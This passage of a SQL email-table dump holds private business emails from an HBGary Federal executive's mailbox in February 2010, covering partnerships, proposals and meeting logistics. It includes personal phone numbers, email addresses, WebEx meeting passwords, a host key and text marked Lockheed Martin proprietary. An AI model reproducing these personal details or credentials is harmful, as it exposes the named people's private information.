<penny@hbgary.com>','/aaron@hbgary.com/new/1297000663.M734474P3547Q1909.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','HBGary Federal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI talked to Mike Spohn at Foundstone today.&nbsp; He will\r\ncall you to discuss reselling services.&nbsp; I also have a call into our contact\r\nat PwC.&nbsp; I wouldn&#8217;t offer an exclusive but I would try to come up\r\nwith a standard rate, we can chose whomever works best.&nbsp; Rules are they must\r\nuse Responder Pro (they will buy these and we will train them) we can back them\r\nup (if they need us on site we will go provided they cover costs) and\r\nFoundstone does have security clearenaces.&nbsp; They are weaker in DC market\r\nso they will be hungry.&nbsp; Phil is familiar with the PwC folks he worked for\r\nthem so we can start to blank this.&nbsp; If you have a minute call me to\r\ndiscuss offerings we are getting requests for\r\n\r\n&nbsp;\r\n\r\nOn site Response Work\r\n\r\nAssessments\r\n\r\nDeep Dive Malware Analysis (we can do this although it&#8217;s\r\nnot optimal)\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nHBGary would like feedback from this as well as to what is\r\nworking what is not.\r\n\r\n&nbsp;\r\n\r\nMore to comeJ\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7280,'aaron_hbgary_com/7280.html'),(1910,'2010-02-02','\"Korinok, Andrea (N-ATL)\" <andrea.korinok@lmco.com>','/aaron@hbgary.com/new/1297000672.M657375P3547Q1910.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal  - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\nProprietary information owned by Lockheed Martin that requires protection from unauthorized disclosure.  Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n\r\n.\r\n.\r\n.\r\nMessage Start:\r\n-----------------------\r\n-webkit-nbsp-mode: space;\r\n-webkit-line-break: after-white-space\'>\r\n\r\n\r\n\r\nMr.\r\nBarr,\r\n\r\n&nbsp;\r\n\r\nAttached\r\nis our fully executed agreement. Please note that I inserted today&#8217;s date\r\nbelow your title line, as this was missing in the partially executed .pdf\r\nversion that you sent to me.\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou have any questions or concerns, please feel free to contact me.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRegards,\r\n\r\nAndrea\r\nKorinok\r\n\r\nBusiness\r\nOperations &amp;&nbsp;Legal Support Specialist\r\n\r\nLockheed\r\nMartin / Advanced Technology Laboratories\r\n\r\n3\r\nExecutive Campus, Suite 600\r\n\r\nCherry\r\n  Hill, NJ 08002\r\n\r\nPhone:\r\n(856) 792-9707\r\n\r\nFax:\r\n(856) 792-9910\r\n\r\nEmail:\r\nandrea.korinok@lmco.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 02, 2010 11:45 AM\r\nTo: Korinok, Andrea (N-ATL)\r\nSubject: Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal\r\nre Cyber Genome Proposal - Lockheed Martin Proprietary Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',931,'aaron_hbgary_com/931.html'),(1911,'2010-02-02','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000675.M338009P3547Q1911.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Wanting to confirm time','Penny said we should link up on the phone to talk IR.  The best number to reach me is the IP phone x115On Tue, Feb 2, 2010 at 1:18 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nYep that&#39;s what I envisioned.\r\nOn Tue, Feb 2, 2010 at 12:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nPhil,\r\n\r\nThe time for the meeting today is 4-5pm MST, 6-7pm your time.  A standard demo of HBGary capabilities, discussing Responder, Recon, our enterprise solutions, DDNA, Malware Genome.  Then we will discuss what HBGary Federal is focused on for services.\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',13030,'aaron_hbgary_com/13030.html'),(1912,'2010-02-02','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1297000675.M648961P3547Q1912.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Services contract for commercial IR services','Same here, perhaps coffee either morning in the Reston area?Sent via BlackBerry by AT&TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 2 Feb 2010 11:13:44 -0700To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesWhats your schedule like next week. &nbsp;My best availability is on Thursday and Friday.AaronOn Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com wrote:Darn, those days are packed for me. What about the week of the 8th?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Mon, 25 Jan 2010 11:44:58 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesHi Nolan,Tuesday and Friday are my packed days this week. &nbsp;Any free time on Wed/Thurs?AaronOn Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com wrote:Aaron,How does 11 on Tuesday look for you? Where are you at most of the time? Would coffee at Cosi in the Reston Town Center be easy?Thanks,NolanSent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 21 Jan 2010 08:48:18 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesNolan,Ted is out in the Springs, but how about we meet next week. &nbsp;Any days better than others?AaronOn Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n\r\nThanks Maria.\r\n&nbsp;\r\nAaron and Ted - I could link up in person next week if you \r\nguys are interested.\r\n&nbsp;\r\nBest,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, January 19, 2010 4:51 PMTo: Aaron Barr; \r\nTed@hbgary.comCc: \r\nnolan@informationsecuritysolutionsllc.comSubject: Re: Services \r\ncontract for commercial IR services\r\n\r\nAaron / Ted\r\n&nbsp;\r\nI spoke today with Nolan Clifford.&nbsp; He may&nbsp;be helpful&nbsp;with \r\nthe contract terms for IR Services.&nbsp; Nolan has an NDA with HBGary.\r\n&nbsp;\r\nNolan is available later this week or next to meet or speak with on the \r\nphone:\r\n&nbsp;\r\nYou may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting your \r\ncall.\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nNolan Clifford Bio\r\nCEO of Information Security Solutions LLC, providing a full \r\nrange of security consulting services to US Federal, Global Public Sector and \r\nCommercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\nPrivacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\nWashington Federal Practice. Former Director of Information Assurance, General \r\nDynamics Network Systems, National and Defense Intelligence Solutions and former \r\nDirector of the Federal Security Practice at Unisys Corporation. Information \r\nWarfare Officer for the Naval Reserve Network Warfare Command. Former active \r\nduty Naval Cryptology Officer. CISSP. \r\n&nbsp;-- Maria Lucas, CISSP | Account Executive | \r\nHBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 \r\nFax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',8920,'aaron_hbgary_com/8920.html');
INSERT INTO `emails` VALUES (1913,'2010-02-02','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000675.M965951P3547Q1913.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Data Fusion and Visualization for Dynamic Cyber Defense','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you know about this?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: National Security\r\nCyberspace Institute [mailto:larry.mckee@nsci-va.org] \r\nSent: Monday, February 01, 2010 10:04 AM\r\nTo: National Security Cyberspace Institute\r\nSubject: Data Fusion and Visualization for Dynamic Cyber Defense\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n**********\r\n\r\nSecurity in the Clouds\r\n\r\nJoin AFEI members and guests for this unique perspective on\r\nData Fusion and Visualization for a Dynamic Cyber Defense, Feb. 11 in Old Towne\r\nAlexandria, Va. The conference objective is to bring into focus the\r\nintersection of security and cloud computing. This is your opportunity to\r\nengage with senior veteran executives in a cross-agency dialogue amongst\r\nFederal Cyber Operations Centers on cyber intelligence data visualization and\r\nfusion. Seating is limited. Early registration rates are good through Monday,\r\nJan. 11. For more information, visit www.afei.org&nbsp; // http://www.afei.org/events/0A02/Pages/default.aspx\r\n.\r\n\r\n***********\r\n\r\n&nbsp;\r\n\r\nData Fusion and Visualization for Dynamic\r\nCyber Defense\r\n\r\nThe purpose of this conference is to continue and expand the\r\ndialogue begun at two earlier AFEI events: a half-day seminar on Government Cloud\r\nComputing which identified the need for brutal standardization and the\r\nopportunity for enhanced security in cloud computing environments; and a Cyber\r\nSecurity Data Fusion and Visualization Roundtable for cyber operations\r\npersonnel from 11 Federal Departments and Agencies that began a cross-agency\r\ndialogue among Federal Cyber Operations Centers on cyber intelligence data\r\nvisualization and fusion.\r\n\r\nThe objective of the conference is to bring into focus the\r\nintersection of security and cloud computing.&nbsp; Questions to be addressed\r\nduring the day include:&nbsp; \r\n\r\n\r\n Can a cloud environment be designed to be more\r\n     secure than current network environments; \r\n How can organizations become more predictive and\r\n     less reactive in CND; \r\n How and to what extent analysis can be automated; \r\n How to integrate disparate data; \r\n How to link cyber events to business and mission; \r\n What sources of intelligence can be brought to\r\n     bear; and \r\n What extant obstacles to information sharing for\r\n     shared situational awareness need to be overcome?\r\n\r\n\r\nAgenda&nbsp; \r\n\r\n8:30&nbsp;AM&nbsp;Opening and Welcome\r\n\r\nConference Chair - Mark Fedak, Risk Defense\r\n\r\nKeynote Presentations\r\n\r\n\r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Government Keynote: \r\n  Mr. Steve Shirley, Executive Director, Department of Defense Cyber Crime\r\n  Center \r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Industry Keynote:\r\n  Thomas Fuhrman, Senior Vice President, Booz Allen Hamilton\r\n  specializing in cyber and information assurance support for the U.S.\r\n  Department of Defense\r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n10:00 AM - Networking Break\r\n\r\n10:30 AM - Panel: Secure Clouds for Dynamic\r\nDefense\r\n\r\n\r\n \r\n  \r\n  Will clouds provide the ability to support executive,\r\n  analytic, compliance and information assurance requirements?&nbsp;&nbsp;&nbsp;&nbsp;\r\n  \r\n \r\n \r\n  \r\n  Moderator:&nbsp;&nbsp;John\r\n  McLaughlin,&nbsp;Deputy CTO - Security, IBM\r\n  Federal&nbsp;&nbsp;&nbsp;\r\n  \r\n \r\n \r\n  \r\n  Panel\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n   Patrick Stingley, CTO, Bureau\r\n       of Land Management \r\n   David S. Linthicum, author of\r\n       &#8220;Cloud Computing and SOA Convergence&#8221; \r\n   J P Morgenthal, Senior\r\n       Principal Architect, QinetiQ North America\r\n  \r\n  \r\n \r\n\r\n\r\n12:00 PM - Lunch\r\n\r\n1:15 PM - Panel:&nbsp;Visualization of Cyber Operations\r\nInformation \r\n\r\n\r\n \r\n  \r\n  Making data accessible and understandable by users and\r\n  analysts&nbsp;&nbsp;&nbsp;\r\n  \r\n \r\n \r\n  \r\n  Moderator:&nbsp; Mark Fedak,\r\n  RiskDefense\r\n  \r\n \r\n \r\n  \r\n  Panel\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n   COL Steve McPherson, USAF,&nbsp;Senior\r\n       Strategy Advisor Cyber-Command, US Coast Guard\r\n       Thomas\r\n       Lam,\r\n       OASD(NII)/DoD CIO Lead for Enterprise Ops &amp; Cyber Security \r\n   Daniel Blum, Senior VP\r\n       &amp; Principal Analyst, Burton Group\r\n  \r\n  \r\n \r\n\r\n\r\n2:45 PM - Networking Break\r\n\r\n3:15 PM - Panel: Fusing Data and Analytics\r\n\r\n\r\n \r\n  \r\n  Better security postures and rapid response to computer\r\n  security threats, vulnerabilities, and incidents.&nbsp;&nbsp;&nbsp;\r\n  \r\n \r\n \r\n  \r\n  Moderator:&nbsp; Mark Fedak,\r\n  RiskDefense\r\n  \r\n \r\n \r\n  \r\n  Panel\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n   Bill Eber, Director,\r\n       Defense Cyber Crime Institute \r\n   Kevin Bingham, ASD(NII)/DASD(CIIA)\r\n       (Invited)\r\n       \r\n   LtCol Joe Wolfkiel, USAF,\r\n       Director,&nbsp;CND R&amp;T PMO, NSA \r\n   Gary Elliott, NSA 4011\r\n       Information Assurance, Chief Information Assurance Officer\r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10991,'aaron_hbgary_com/10991.html'),(1914,'2010-02-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000676.M766328P3547Q1914.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Just sign and send back to me via scanned docu','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI need the signature page signed by each of you again, the\r\none signed wasn&#8217;t the latest.&nbsp; No need to send via mail, scan it and that\r\nwill be good\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3750,'aaron_hbgary_com/3750.html'),(1915,'2010-02-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000677.M627387P3547Q1915.eml','\"Barr Aaron\" <aaron@hbgary.com>','Feed Processor Pic','Feed processor process pic\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',8239,'aaron_hbgary_com/8239.html'),(1916,'2010-02-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000677.M935998P3547Q1916.eml','\"Barr Aaron\" <aaron@hbgary.com>','new opp','https://www.fbo.gov/index?_atwl=b7fd4e528d8fdee0250995a380013c3b\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13149,'aaron_hbgary_com/13149.html'),(1917,'2010-02-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000678.M207381P3547Q1917.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: GD / HBGary teleconference to discuss Cyber Genome BAA teaming 	opportunity','Aaron,\r\n \r\nLooking at google calendar, I see you have the GD teleconference at 11 am this Friday.  This appears to be a mistake.  The call is at 3pm Friday.  See below.\r\n \r\nBob\r\n---------- Forwarded message ----------From: Starr, Christopher H. &lt;Chris.Starr@gd-ais.com&gt;\r\nDate: Mon, Feb 1, 2010 at 4:05 PMSubject: GD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunityTo: Bob Slapnik &lt;bob@hbgary.com&gt;, aaron@hbgary.com, greg@hbgary.com, &quot;Jaeger, James A.&quot; &lt;jim.jaeger@gd-ais.com&gt;\r\nCc: &quot;Dratch, Scott R.&quot; &lt;Scott.Dratch@gd-ais.com&gt;, &quot;Foil, Jerry T.&quot; &lt;Jerry.Foil@gd-ais.com&gt;\r\n\r\n\r\nWhen: Friday, February 05, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 866-765-5631, code 5057292#  and WebEx\r\n*~*~*~*~*~*~*~*~*~*\r\nGD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity\r\n866-765-5631, code 5057292#  and WebEx\r\nWebEx connection information will be sent before the meeting\r\nQuestions?\r\nContact:\r\nChris Starr\r\n571-216-6140\r\nChris.Starr@gd-ais.com \r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',14491,'aaron_hbgary_com/14491.html'),(1918,'2010-02-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000678.M396631P3547Q1918.eml','\"Barr Aaron\" <aaron@hbgary.com>','Huh...','https://www.fbo.gov/index?s=opportunity&mode=form&id=5faf1dd96f7fa36e6e9d315013b1a338&tab=core&_cview=0\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9792,'aaron_hbgary_com/9792.html'),(1919,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000678.M586307P3547Q1919.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Incident Response','So thinking about discriminating Incident Response offerings.\r\n\r\nWhat are some of the problems (I am taking an educated guess having never done one but been around it).\r\n1.  Not an easy task to get a handle on the entire environment.\r\n2.  Its a snapshot in time.  Tomorrow they are screwed again.\r\n\r\nHow do we solve this?\r\n1.  Deploy feed processors to each organization and have the DDNA feed into the processor to do enterprise triage of the organization.  Then use responder and Recon for more targeted analysis.\r\n2. As a service/subscription, leave the feeprocessor/active defense running in the organization with a portal that allows our IR folks to manage IR remotely and continually.\r\n\r\nMuuuuuch lower costs, real-time, continual remediation, automated updates to DDNA, etc.\r\n\r\nDoes this sound right?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10209,'aaron_hbgary_com/10209.html'),(1920,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000682.M879355P3547Q1920.eml','\"Zosh\" <mydocs@zosh.com>','op','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7810,'aaron_hbgary_com/7810.html'),(1921,'2010-02-02','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297000683.M173969P3547Q1921.eml','aaron@hbgary.com','Document Status','\r\n\r\nDocuments Status\r\n\r\n\r\n\r\n\r\nAn email with the following attachments was received on Tue, Feb 2, \'10 at 9:10 PM from aaron@hbgary.com.\r\n \r\n\r\nHBGary Federal Operating Agreement_V14_1 26 10final.pages\r\n\r\n\r\n\r\nUnfortunately, there were not any valid attachments.  Zosh can only process PDF attachments.  Please resend your attachment in a new email to mydocs@zosh.com\'.\r\n\r\n\r\n\r\n			  \r\nThank you for using Zosh.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2569,'aaron_hbgary_com/2569.html'),(1922,'2010-02-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000686.M426703P3547Q1922.eml','\"Barr Aaron\" <aaron@hbgary.com>','ARSTRAT','-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',296,'aaron_hbgary_com/296.html'),(1923,'2010-02-02','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000686.M757049P3547Q1923.eml','aaron@hbgary.com','Re: Synopsis of Conversation','\r\n\r\n\r\n\r\n\r\nRe: Synopsis of Conversation\r\n\r\n\r\n\r\n\r\nWhat format is the attached file?&nbsp;\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Fri Jan 29 15:25:07 2010\r\nSubject: Synopsis of Conversation\r\n\r\nWent to Proposers day.&nbsp; Ran into Chris V. and Al Kinney.&nbsp; I mentioned our Malware Genome product and they didn\'t seem all that interested.\r\n\r\nHowever Sparta, Raytheon, Lockheed, and General Dynamics were all interested and want to set up meetings to discuss our potential partnership.\r\n\r\nHad lunch with Tom Conroy.\r\n\r\nHe said he had talked with Jadek and someone else (current replacement for Morra while hes on vacation) about developing capability that could cause conflict with IS and they both said they were fine with that.&nbsp; Tom is going to set up a meeting with him, me, and some ES seniors (I think it was the Morra replacement guy) to discuss the consortium, cyber vision, etc.\r\n\r\nAlso he sent an email to Dan and Kathy mentioning that I wanted to partner with Northrop and wondering whether or not they were interested.\r\n\r\nThis is the report Greg generated in a few hours.\r\n\r\n\r\n\r\n\r\n\r\n',2657,'aaron_hbgary_com/2657.html'),(1924,'2010-02-02','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000695.M340763P3547Q1924.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Vera Ted\" <ted@hbgary.com>','Operating agreement','\r\n\r\nThis document was sent using Zosh an application that let\'s you fill  \r\nout, sign and send documents all from your iPhone.  If you want to  \r\nlearn more visit www.zosh.com or go to the App Store and search for  \r\n\"Zosh\".\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6756,'aaron_hbgary_com/6756.html'),(1925,'2010-02-02','messenger@webex.com','/aaron@hbgary.com/new/1297000696.M244292P3547Q1925.eml','aaron@hbgary.com','Meeting reminder: TASC/HBGary Demo','You are scheduled to host this online meeting.   Topic: TASC/HBGary Demo  Date: Tuesday, February 2, 2010  Time: 6:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 575 445 606  Meeting Password: kibafo33  Host Key: 348526   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=139446822  2. Log in to your account.  3. Click \"Start Now\".  4. Follow the instructions that appear on your screen.   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=139446822&tollFree=0   Access code:575 445 606  To check for compatibility of rich media players for Universal Communications Format (UCF), click the following link:  https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com   ',4978,'aaron_hbgary_com/4978.html'),(1926,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000696.M562639P3547Q1926.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Wanting to confirm time','We are a bit delayedFrom my iPhoneOn Feb 2, 2010, at 11:18 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nYep that&#39;s what I envisioned.On Tue, Feb 2, 2010 at 12:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nPhil,\r\n\r\nThe time for the meeting today is 4-5pm MST, 6-7pm your time.  A standard demo of HBGary capabilities, discussing Responder, Recon, our enterprise solutions, DDNA, Malware Genome.  Then we will discuss what HBGary Federal is focused on for services.\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',6640,'aaron_hbgary_com/6640.html'),(1927,'2010-02-02','\"Phil Wallisch\" <messenger@webex.com>','/aaron@hbgary.com/new/1297000696.M747828P3547Q1927.eml','aaron@hbgary.com','Please join now, meeting in progress: TASC','Hello Aaron Barr,   Please join my meeting that is currently in progress.   Topic: TASC  Date: Tuesday, February 2, 2010  Time: 6:16 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 575 110 184  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=139808512&UID=1118254312&PW=NNjg0N2U4MzM0&RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: ddna123  4. Click \"Join Now\".  5. Follow the instructions that appear on your screen.   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=139808512&UID=1118254312&PW=NNjg0N2U4MzM0&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=139808512&tollFree=0   Access code:575 110 184   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   phil@hbgary.com    Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',965,'aaron_hbgary_com/965.html'),(1928,'2010-02-02','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000696.M972006P3547Q1928.eml','aaron@hbgary.com','Re: Email from Kathy','\r\n\r\n\r\n\r\n\r\nRe: Email from Kathy\r\n\r\n\r\n\r\n\r\nGood.\r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nSent: Tue Feb 02 10:27:03 2010\r\nSubject: Email from Kathy\r\n\r\nTom,\r\n\r\nI got an email from Kathy to give her a call.&nbsp; I will let you know how that goes.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4937,'aaron_hbgary_com/4937.html'),(1929,'2010-02-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000697.M203643P3547Q1929.eml','\"Aaron Barr\" <aaron@hbgary.com>','ISec Partners','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHI Aaron,\r\n\r\n&nbsp;\r\n\r\nI spoke with ISec partners today, they are another option\r\nfor consulting.&nbsp; Alex is going to send me a list of services they provide and\r\nwe can go from there.&nbsp; They know how to use the product, we will share certain\r\ntypes of info etc.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10263,'aaron_hbgary_com/10263.html'),(1930,'2010-02-03','\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@TASC.COM>','/aaron@hbgary.com/new/1297000712.M474809P3547Q1930.eml','aaron@hbgary.com,ted@hbgary.com','Fw: Alliant AF OSI RFP Guardian Requirement','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Henderson, Van B (TASC Inc)To: Gutierrez, Daniel L (TASC Inc)Sent: Thu Jan 28 14:08:55 2010Subject: FW: Alliant AF OSI RFP Guardian Requirement \r\n\r\n\r\n\r\n\r\nIf interested, I suspect the big\r\nquestion will be how do we get onto Alliant, given TASC does not hold that\r\ncontract vehicle.\r\n\r\n&nbsp;\r\n\r\nLet me know if interested&#8230;&#8230;&#8230;&nbsp; &nbsp;&nbsp;I\r\nstill get this info from NG until they figure out not to send to me.\r\n\r\n&nbsp;\r\n\r\n&nbsp;Van\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nVan Henderson\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTASC,\r\nInc\r\n\r\nDirector, Business Development\r\n\r\n4807 Stonecroft Boulevard\r\n\r\nChantilly, VA 20151\r\n\r\n(703) 449-3996 (voice)\r\n\r\n(703) 961-1781 